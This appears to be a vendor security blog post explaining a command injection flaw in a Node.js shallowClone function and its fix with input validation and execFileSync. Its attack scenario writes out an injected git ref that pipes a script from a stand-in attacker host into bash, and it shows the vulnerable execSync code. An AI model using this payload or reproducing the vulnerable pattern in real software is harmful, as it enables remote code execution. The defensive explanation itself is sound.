Introduction
In bin/init.mjs, we discovered a high-severity command injection vulnerability in the shallowClone function at line 945. The function accepts a ref parameter—intended to be a git branch or tag name—and interpolates it directly into shell commands executed via execSync. This pattern created a dangerous attack surface where malicious reference names could execute arbitrary system commands.
The vulnerable code looked like this:
execSync(`git -C "${dest}" fetch --quiet --depth 1 origin ${ref}`, {
stdio: "ignore",
});
For developers building CLI tools or libraries that interact with git repositories, this is a critical pattern to recognize. The ref variable flows from function arguments that may ultimately originate from user input, configuration files, or external APIs—all potentially attacker-controlled sources.
The Vulnerability Explained
How Shell Command Injection Works
When you use execSync with template literals in Node.js, the entire string is passed to the system shell for interpretation. The shell treats certain characters as special metacharacters:
;terminates one command and starts another|pipes output to another command$()or backticks execute nested commands&&and||chain commands conditionally
In the shallowClone function, the vulnerable pattern appeared in three locations:
// Vulnerable: ref is interpolated directly into shell command
execSync(`git -C "${dest}" fetch --quiet --depth 1 origin ${ref}`, {
stdio: "ignore",
});
execSync(`git -C "${dest}" checkout --quiet FETCH_HEAD`, {
stdio: "ignore",
});
execSync(
`git clone --quiet --depth 1 --branch ${ref} https://github.com/${repo} "${dest}"`,
{ stdio: "ignore" }
);
Attack Scenario Specific to This Code
Imagine an attacker can influence the ref parameter passed to shallowClone. They could craft a malicious reference like:
main; curl https://attacker.com/malware.sh | bash
When interpolated into the git fetch command, this becomes:
git -C "/path/to/cache" fetch --quiet --depth 1 origin main; curl https://attacker.com/malware.sh | bash
The shell interprets the semicolon as a command separator, executing the git command first, then downloading and running a malicious script. Since this is a Node.js library, any downstream application using this package could be compromised if they pass untrusted input to functions that eventually call shallowClone.
Real-World Impact
This vulnerability is particularly dangerous because:
- Library context: This code exists in a library consumed by other applications, amplifying the attack surface
- Silent execution: The
stdio: "ignore"option suppresses output, making malicious command execution harder to detect - System-level access: Commands execute with the same privileges as the Node.js process, potentially including file system access, network capabilities, and environment variables containing secrets
The Fix
The fix implements a defense-in-depth strategy with two key changes:
1. Strict Input Validation
A regex whitelist now validates the ref parameter before any execution:
if (!/^[a-zA-Z0-9._\/]+$/.test(ref) || ref.startsWith('-')) {
console.error(` ! Invalid ref: ${ref}`);
return null;
}
This validation:
- Allows only alphanumeric characters, dots, underscores, and forward slashes
- Rejects refs starting with - to prevent argument injection (e.g., --upload-pack=...)
- Returns null early, preventing any command execution with invalid input
2. Migration from execSync to execFileSync
The fix replaces all execSync calls with execFileSync, passing arguments as an array:
Before (Vulnerable):
execSync(`git -C "${dest}" fetch --quiet --depth 1 origin ${ref}`, {
stdio: "ignore",
});
After (Secure):
execFileSync("git", ["-C", dest, "fetch", "--quiet", "--depth", "1", "origin", ref], {
stdio: "ignore",
});
The critical difference: execFileSync bypasses the shell entirely. Arguments are passed directly to the git executable as discrete parameters. Shell metacharacters like ;, |, and $() are treated as literal characters, not special operators.
Complete Before/After Comparison
Before:
function shallowClone(repo, ref) {
const dest = join(cacheRoot(), repo.replace("/", "__"));
try {
if (existsSync(join(dest, ".git"))) {
execSync(`git -C "${dest}" fetch --quiet --depth 1 origin ${ref}`, {
stdio: "ignore",
});
execSync(`git -C "${dest}" checkout --quiet FETCH_HEAD`, {
stdio: "ignore",
});
} else {
if (existsSync(dest)) rmSync(dest, { recursive: true, force: true });
execSync(
`git clone --quiet --depth 1 --branch ${ref} https://github.com/${repo} "${dest}"`,
{ stdio: "ignore" }
);
}
After:
function shallowClone(repo, ref) {
if (!/^[a-zA-Z0-9._\/]+$/.test(ref) || ref.startsWith('-')) {
console.error(` ! Invalid ref: ${ref}`);
return null;
}
const dest = join(cacheRoot(), repo.replace("/", "__"));
try {
if (existsSync(join(dest, ".git"))) {
execFileSync("git", ["-C", dest, "fetch", "--quiet", "--depth", "1", "origin", ref], {
stdio: "ignore",
});
execFileSync("git", ["-C", dest, "checkout", "--quiet", "FETCH_HEAD"], {
stdio: "ignore",
});
} else {
if (existsSync(dest)) rmSync(dest, { recursive: true, force: true });
execFileSync(
"git",
["clone", "--quiet", "--depth", "1", "--branch", ref, `https://github.com/${repo}`, dest],
{ stdio: "ignore" }
);
}
Prevention & Best Practices
1. Prefer Argument Arrays Over Shell Strings
Always use execFileSync, spawn, or spawnSync with argument arrays instead of execSync with string interpolation:
// ❌ Dangerous
execSync(`command ${userInput}`);
// ✅ Safe
execFileSync("command", [userInput]);
2. Validate Input at Trust Boundaries
Implement strict validation as close to the input source as possible:
const SAFE_REF_PATTERN = /^[a-zA-Z0-9._\/]+$/;
function validateGitRef(ref) {
if (!SAFE_REF_PATTERN.test(ref) || ref.startsWith('-')) {
throw new Error(`Invalid git reference: ${ref}`);
}
return ref;
}
3. Use Established Libraries
For git operations, consider using libraries like simple-git or isomorphic-git that handle escaping and validation internally.
4. Enable Static Analysis
Configure Semgrep or similar tools in your CI pipeline to catch child_process usage with dynamic arguments:
# .semgrep.yml
rules:
- id: detect-child-process
patterns:
- pattern: execSync($CMD)
message: "Avoid execSync with dynamic commands"
severity: WARNING
Key Takeaways
- Never interpolate untrusted input into
execSyncstrings — therefparameter inshallowClonewas a ticking time bomb waiting for malicious input execFileSyncwith argument arrays eliminates shell interpretation entirely — this is the most robust defense against command injection- Validate git references against strict whitelists — the regex
/^[a-zA-Z0-9._\/]+$/covers legitimate branch/tag names while blocking metacharacters - Block arguments starting with
-— this prevents argument injection attacks like--upload-pack=malicious - Library code requires extra scrutiny — vulnerabilities in
init.mjsaffect every downstream consumer of this package
How Orbis AppSec Detected This
- Source: The
refparameter passed to theshallowClone(repo, ref)function inbin/init.mjs - Sink:
execSync()calls at lines 945-957 whererefwas interpolated into shell command strings - Missing control: No input validation on
refand use of shell-interpretedexecSyncinstead of argument-basedexecFileSync - CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
- Fix: Added regex validation for the
refparameter and replaced allexecSynccalls withexecFileSyncusing argument arrays
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This command injection vulnerability in shallowClone demonstrates why execSync with string interpolation is considered an anti-pattern in security-conscious Node.js development. The fix shows the gold standard approach: combine strict input validation with execFileSync argument arrays to create multiple layers of defense.
For library authors, remember that your code runs in contexts you can't predict. What seems like an internal function today may receive attacker-controlled input tomorrow through a chain of dependencies and integrations. Defensive hardening—removing exploit primitives before they can be chained—is essential for maintaining secure software supply chains.